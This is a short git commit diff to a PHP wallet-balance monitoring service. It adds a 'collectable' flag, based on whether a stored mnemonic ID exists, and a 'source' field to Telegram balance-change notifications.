fix: notice

This commit is contained in:
hashbro
2026-09-19 02:20:51 +08:00
parent 5be0313ccd
commit 2625707aed
5 changed files with 126 additions and 13 deletions
@@ -246,6 +246,11 @@ class TokenviewMonitorService
'changes' => $changes,
'rows_count' => $rows->count(),
]);
$collectable = $rows->contains(fn (WalletAddress $row) => $row->mnemonic_id !== null);
$source = trim((string) ($primary->source ?? ''));
if ($source === '') {
$source = (string) ($rows->first(fn (WalletAddress $row) => trim((string) $row->source) !== '')?->source ?? '');
}
foreach ($changes as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
@@ -255,6 +260,8 @@ class TokenviewMonitorService
$coin,
$balanceSummary,
$delta > 0,
$collectable,
$source,
);
}
}